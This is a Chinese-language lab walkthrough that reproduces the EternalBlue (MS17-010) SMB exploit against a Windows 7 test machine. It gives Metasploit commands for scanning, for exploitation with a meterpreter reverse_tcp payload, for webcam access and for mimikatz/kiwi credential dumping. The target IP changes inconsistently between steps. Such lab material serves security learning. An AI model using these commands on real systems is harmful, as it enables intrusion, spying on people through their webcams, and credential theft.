漏洞简介

永恒之蓝漏洞 CVE-2017-0143(MS17-010) 是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码

Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

注:SMB服务的作用:该服务在Windows与UNIX系列OS之间搭起一座桥梁,让两者的资源可互通有无,SMB服务详解:点击查看

漏洞原理

下面两篇文章从实际代码详细分析了漏洞原理,想要从代码详细理解该漏洞的可以点击查看

http://blogs.360.cn/post/nsa-eternalblue-smb.html#toc-772
https://blog.csdn.net/qq_27446553/article/details/73480807

影响版本

目前已知受影响的Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。

复现过程

IP信息

1
2
攻击机:Kali Linux			IP:192.168.216.138
靶机:Windows 7 IP:192.168.216.134

靶机配置

1、开放靶机 Win7 445端口

使用netstat -an 看一下445端口是否活动

image-20220112152449420

2.关闭win7防火墙(保险起见)

步骤:win7控制面板,然后在Windows防火墙中关闭即可

image-20220112152532542

启动MSF

在kali里打开终端,输入下面的命令

1
msfconsole

image-20220112152634883

查看漏洞模块

使用命令search ms17_010搜索ms17_010模块

image-20220112153238714

扫描主机

我们先使用扫描的模块对目标机进行扫描,如果目标机存在漏洞的话,我们再使用漏洞利用模块

1
2
3
use auxiliary/scanner/smb/smb_ms17_010	//选择漏洞利用模块
set rhosts 192.168.216.134 //查看模块利用所需要的设置
exploit

扫描发现该靶机存在漏洞

image-20220112154002713

利用漏洞

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue	//设置目标主机的地址
set rhosts 192.168.4.71 //设置目标主机的地址
set payload windows/x64/meterpreter/reverse_tcp //设置payload
exploit

image-20220112154223594

等待提示出WIN就已经成功拿到权限了

image-20220112154302312

查看用户权限

使用命令getuid查看当前用户的权限,发现已经是system权限了

image-20220112154321644

查看系统信息

使用sysinfo命令,可以查看到当前系统的信息

image-20220112154336171

获取shell

拿shell,且是系统权限

image-20220112154351094

1
2
3
webcam_list	# 查看有没有摄像头
webcam_stream # 打开摄像头直播流
webcam_snap # 拍照

image-20220112154544582

获取密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
load kiwi

creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码

image-20220112154640654

image-20220112154731788